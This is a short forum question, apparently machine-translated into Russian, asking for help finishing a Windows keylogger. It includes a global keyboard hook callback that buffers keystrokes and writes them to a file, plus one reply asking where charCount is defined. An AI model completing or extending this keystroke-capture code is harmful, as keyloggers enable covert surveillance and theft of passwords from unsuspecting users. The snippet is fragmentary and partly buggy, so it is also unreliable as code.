Я пытаюсь написать простую программу для кейлоггеров с помощью глобальных клавиатурных крючков. Мне нужна помощь в реализации функции обратного вызова клавиатуры. Моя функция теперь работает, но не может обрабатывать случай, когда клавиша нажата и не отпущена.Функция перехвата звонка в глобальной клавиатуре
LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam){
DWORD keyStroke=wParam;
if(code>=0 && lParam&0x40000000){
buff[charCount++]=(WCHAR)keyStroke;
buff[charCount]=L'\0';
if(charCount==1024 && charCount>0){
writeCacheToFile(buff,1025);
charCount=0;
}
}
return CallNextHookEx(NULL,code,wParam,lParam);
}
Здесь я пытаюсь хранить символы в бафф и затем я записать их в файл с помощью writeCacheToFile.
Может кто-нибудь, пожалуйста, дайте мне пример кода, в котором обрабатывается событие нажатия клавиши?
Любая помощь будет оценена по достоинству.
Thanks, Ashish.
Где определяется CharCount? –